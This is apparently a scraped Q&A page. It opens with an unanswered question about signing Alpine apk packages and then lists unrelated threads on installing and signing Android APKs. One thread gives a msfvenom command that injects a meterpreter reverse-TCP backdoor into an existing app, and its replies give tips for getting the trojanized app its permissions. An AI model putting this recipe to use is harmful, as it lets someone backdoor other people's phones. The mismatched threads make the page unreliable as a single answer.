Are alpine apk packages signed and verified? - alpine-linux

I could not find documentation, so I will ask here:
Are alpine apk packages signed and later verified upon apk add?

In the official Alpine documentation I do not see any sign of command or key to sign the packages. And if they are not signed they can't be verified (with some public key)

Related

flutter debug APK not installing on mobile

Am not able to install the APK in my mobile generated by gradle. it's working fine on an emulator but when I try to install on my mobile its starts installing and in the middle, it gives the error APK not installed. Am running android 10. Paths from where I picked the debug APKs are as follow.
<project>/build/app/outputs/apk/debug/app-debug.apk
<project>/build/app/outputs/apk/debug/app.apk
<project>/build/app/outputs/flutter-apk/app-debug.apk
It seems your apk does not have certificate yet.
you cant install it just like that. you can either certify it build release android app
or set your phone to install app form unknown source. in app settings or security settings
If you're trying to manually install the app-debug.apk, you should rather consider generating app-release.apk but if you can't debug the app, then you might considering opening up your developer options.

Flutter, confirm which signing key was used during build

I'm using the command flutter build appbundle --no-shrink --verbose to build the app for release. However, from the log, I cannot find any information about which key was used for the signing.
I did a search for "jks", but I can't find anything about what keystore was used. Any insight on the confirmation of keystore that was used?

payload injected app doesn't ask for any permissions

I'm trying to trying to inject an apk with msfvenom payload, and thus get a backdoor on my android device upon installing it. Why isn't it asking for permissions upon installation?
In the past I've been able to successfully create a standalone payload and get a backdoor tunnel to my device.
msfvenom -p android/meterpreter/reverse_tcp -x /Users/root/Downloads/newApp.apk LHOST=[IP] LPORT=[port] -o /Users/root/Desktop/android.apk
I expected the app to ask for all the permissions specified in manifest file, but it isn't asking for any during installation or at runtime.
I had the same problem, but I have found a fix for it.
create apk file injected with payload.
install it on your phone.
install APK Editor pro v1.9.7.
open the apk editor and search for the injected apk click on it and click on COMMON EDIT.
change Minimum SDK version to 10 and Target SDK Version to 17.
I have already checked it and it's working
You need to specify what permissions the Main.apk has in your device..did you check those?If it has not asked for permission chances are it has no permission.
I have found some problems in the payload generation, but I have also found a solution.
1.- Inject the payload in the original application.
2.- Install the apk file on an android device.
3.- Go to application settings and search for the infected application.
4.- Grant all permissions.
And that's it, this worked for me.

android-release-unsigned.apk not up to date as android-debug.apk

While making apk for my ionic app, the signed apk was not updated as the debug apk.
Means the contents in my debug apk(made from ionic cordova run android) are those which I want but the contents in my signed apk(made from ionic cordova build --release android) are the old ones.
Please help me its really necessary.
This error is due to mismatch of SHA key as while signing the we get a SHA key which is updated on firebase.
But after uploading it to play store we get a different SHA key so we must also add this SHA key to our firebase.

How to install custom build AOSP apps in Android phone

I have build MMS app from AOSP (Build no: LMY48M) using the following command
make -j8 Mms
The command produces a Mms.apk file, that I would like to install in my Nexus 5 phone. The phone is rooted and has Android Build number LMY48M installed.
The phone should contain a Mms app installed with the same app Id of my Mms.apk file. I wanted to remove the installed Mms app from the phone as I have root permission. I do not find any Mms application whatsoever. SMS functionality is being provided by Hangouts app.
Moreover, when I tried to install the generated Mms.apk file, it shows permission screen with the install button. Tapping on install button starts the installation process but stops in few seconds with error "App not installed."
Any suggestion is appreciated. Thank you.
You should try copy paste the apk into system->app instead of installing
You should install the apk using the adb install command:
adb install -r Mms.apk
This should install the latest apk and will perform an update of the previous version of the Mms.apk if it is already present.
The tricky part here is if it is already present the new apk must be signed with the same cert as the existing one. I'm not sure if those are public certs or not but it's worth a try.
lunch aosp_arm-eng command is for emulator and won't work for device build, rather use specific command for the device. For Nexus 5 you need to use command lunch aosp_hammerhead-userdebug (Ref: https://source.android.com/source/running.html#selecting-device-build)
P.S you should download the same branch as of your device build number. For instance, my Nexus 5 device has build number LMY48M, so I should download branch android-5.1.1_r14. For more information, https://source.android.com/source/build-numbers.html
Now you can install the Mms.apk file just tapping on it from device. You do not need to uninstall/remove Hangouts.
The Mms application has been replaced in Lillipop by Hangouts app. If you would like to install the Mms app as an internal app then you need to make the following folder structure in your rooted device,
system/priv-app/Mms/Mms.apk
and restart the device.